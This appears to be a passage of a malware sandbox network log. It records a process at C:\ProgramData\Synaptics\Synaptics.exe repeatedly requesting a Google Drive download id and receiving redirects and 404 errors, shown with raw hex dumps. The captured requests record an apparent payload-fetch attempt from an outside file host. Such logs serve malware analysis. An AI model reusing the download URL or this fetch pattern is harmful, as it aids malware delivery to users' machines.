2024-08-22 11:10:28 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:29 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:28 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DH25SZtDZNIdr11LO2CPaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nN4wqwOJ6NGe1XApPIfjMtydE8PYFMQww9bLLJKSxVp-SRtJGhtqkbgalVPTwAg-2XquRWAi1p1ng Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:29 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:10:29 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 68 4e 5a 79 63 4e 58 32 4b 53 44 43 43 6c 74 34 66 75 32 43 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="zhNZycNX2KSDCClt4fu2CA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:10:29 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49723	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-nOUPwsod5UrzkbbrTlqj0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49728	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:29 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Yh6_Tan9BjSrQGVmcbD_EA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49729	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:29 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:29 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:29 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-txdPVNq5uqPlvjvV-IKDmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPsbSTQnHA9X3ww562wW4VdgYNegBfpn-ECqUYK3aIxmRwaYWqb0W6fjSWUZlyys7mlB8s Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:29 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:29 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 6b 4b 34 78 59 48 50 6e 67 35 53 44 4d 50 6d 6b 68 78 72 5a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="2kK4xYHPng5SDMPmkhxrZA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:29 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49732	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:29 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:30 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:29 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-v4f1lCCr1tXaioEnllMnSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nNq-ZwLLf1vtgekUdoj69OyoJetaW7oviE33VmGPPHmMUS171c9ZtkMyamdMOnLL5jcf-SaAullMg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:30 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:10:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 35 52 44 45 58 6a 2d 55 6d 6a 6d 45 38 46 78 4d 36 72 56 7a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="j5RDEXj-UmjmE8FxM6rVzA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:10:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49731	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:29 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-6cq73v3Vd6SCK8HIyomkjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49739	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:31 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-tXTgj4jNDdwF-W5fgkTQfw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49738	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:31 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sRcNu-Ev6vzjdzi-_8esVQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49741	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:32 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-7VklMTwU1N9bpjAyb6qlIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49742	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:32 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:32 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:32 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-DIdudGPBGS4IRY30wYtVZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nObySYy1GXxY5dRcHVk5ztMsPGKELkqSofHh4me3PeBi0R4OthoNwQBkUqPvgBSSmykk0w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
